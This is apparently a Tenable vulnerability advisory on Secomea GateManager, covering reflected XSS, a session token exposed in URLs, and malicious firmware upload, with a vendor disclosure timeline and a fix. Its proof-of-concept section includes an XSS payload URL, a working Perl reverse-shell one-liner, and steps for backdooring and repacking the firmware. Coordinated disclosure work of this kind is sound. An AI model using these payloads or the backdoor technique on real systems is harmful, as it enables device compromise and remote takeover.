Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Secomea GateManager Multiple Vulnerabilities

High

Synopsis

Tenable has discovered multiple vulnerabilities in the Secomea products. We have been advised by Secomea to "expect that these vulnerabilities affect all Secomea vendors." As we determine the list of affected vendors, we will update this page. To our current knowledge, this list includes B&R Industrial Automation GmbH.

CVE-2020-29028: Reflected Cross-site Scripting

CVSSv3 Base Score: 6.1
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

The ‘op’ parameter on gui.cgi is reflected back in the response without sanitization. It is possible to inject arbitrary JavaScript code that will be executed in the user’s browser upon navigating to the crafted URL.

Proof of Concept

When the page is rendered at the below URL, javascript is executed resulting in the message ‘reflected xss’ being displayed.

https://192.168.0.186/lm/cgi/gui.cgi?op=<script>alert('reflected+xss')</script>&cert=local_ca.pem

CVE-2020-29030: Authentication Token Exposed in URL Path

CVSSv3 Base Score: 8.1
CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Once authenticated to the Gatemanager the authentication token is, by default, exposed in all future POST/GET requests. This is dangerous as the URL path can be saved in the browser's history, passed through Referer headers to other websites, stored in web logs, or otherwise recorded in other sources. If the URL path contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

Proof of Concept

In the below screenshot we can see that we can access restricted pages using only the authentication token appended to the path URL.

CVE-2020-29032: Authenticated Malicious Firmware Upload

CVSSv3 Base Score: 8.3
CVSSv3 Vector: AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

It is possible to upload a malicious firmware to the device. If a victim with service operator level permissions were tricked into uploading tampered firmware, a remote attacker could backdoor the device.

Proof of Concept

As a proof of concept I added the below perl reverse shell one-liner to the top of service.sh.

perl -e 'use Socket;$i="172.17.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

To do this I first extracted the update package which was a gzipped archive.

I then opened service.sh in a text editor and added the backdoor.

Then to repackage the firmware I ran the below command.

tar -zcvf Secomea_GateManager_Installer_v9.3.620453012.tgz .

Once uploaded this will result in a reverse shell being sent back to the attacker when the service is started.

Note: To reproduce this locally you will need to extract the contents of the firmware, modify the return IP address of the backdoor in service.sh and repack the firmware.

Solution

Upgrade to 9.4. See additional references for specific guidance.

Disclosure Timeline

12/08/2020 - Tenable sends vulnerability report to B&R. 90-day date is March 08, 2021.
12/08/2020 - B&R asks for our public key.
12/09/2020 - Tenable responds with our public key.
12/09/2020 - B&R thanks us for the report. They have started their vulnerability handling process and will keep us updated.
12/09/2020 - Tenable thanks B&R.
12/15/2020 - Secomea reaches out. Thanks us for pentesting their products and acknowledges process and deadlines. They provide some remediation details.
12/16/2020 - Tenable asks B&R if we can discuss the issue with Secomea.
12/17/2020 - B&R advises us to speak with Secomea.
12/17/2020 - Tenable asks Secomea for clarification.
12/17/2020 - B&R asks Secomea for clarification as well. Asks us to coordinate publishing activities so we can all publish at the same time.
12/17/2020 - Tenable restates disclosure policy.
12/18/2020 - Secomea sends a message.
12/18/2020 - B&R responds to Secomea message. They will wait for fixes before publishing an advisory.
12/18/2020 - Tenable asks Secomea to resend their message. We can't read it.
12/18/2020 - Secomea sends details of CVE assignments, affected models/versions, coordination request.
12/18/2020 - Tenable asks for clarification on affected vendors, models and versions. States intent to publish.
12/22/2020 - Secomea replies with clarification.
12/22/2020 - Tenable thanks Secomea.
01/04/2021 - Tenable asks for an update.
01/05/2021 - Secomea provides patching status update.
01/05/2021 - Tenable asks for clarification.
01/05/2021 - B&R asks for clarification from Secomea.
01/07/2021 - Secomea responds with mitigation details.
01/08/2021 - Tenable notifies vendors that we updated our advisory to include a mitigated vulnerability.
01/11/2021 - Secomea thanks Tenable for the update.
01/26/2021 - Tenable asks for an update.
02/01/2021 - Secomea provides an update. 9.4 is to be released at the end of this month.
02/01/2021 - Tenable thanks Secomea. Relays our current understanding.
02/19/2021 - Secomea provides more info
02/19/2021 - Tenable thanks Secomea. Asks for some clarification.
02/22/2021 - Tenable notifies Secomea of published advisory.
02/23/2021 - Secomea can't decrypt the email.
02/23/2021 - Tenable re-encrypts and resends the email.
02/23/2021 - B&R can read the message. However, there is a warning during decryption.
02/26/2021 - Secomea clarifies some points and asks us for clarification as well.
03/01/2021 - Tenable responds and asks for some more clarification.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now
Tenable.io FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now
Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year. Full details here.

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 30 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 30 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Get a Demo

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.

Try for Free Contact Sales

Try Tenable Lumin

FREE FOR 30 DAYS

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Request a Demo

Request a demo of Tenable.ot

Get the Operational Technology Security You Need.
Reduce the Risk You Don’t.

Request a Demo

Tenable.ad

Continuously detect and respond to Active Directory attacks. No agents. No privileges. On-prem and in the cloud.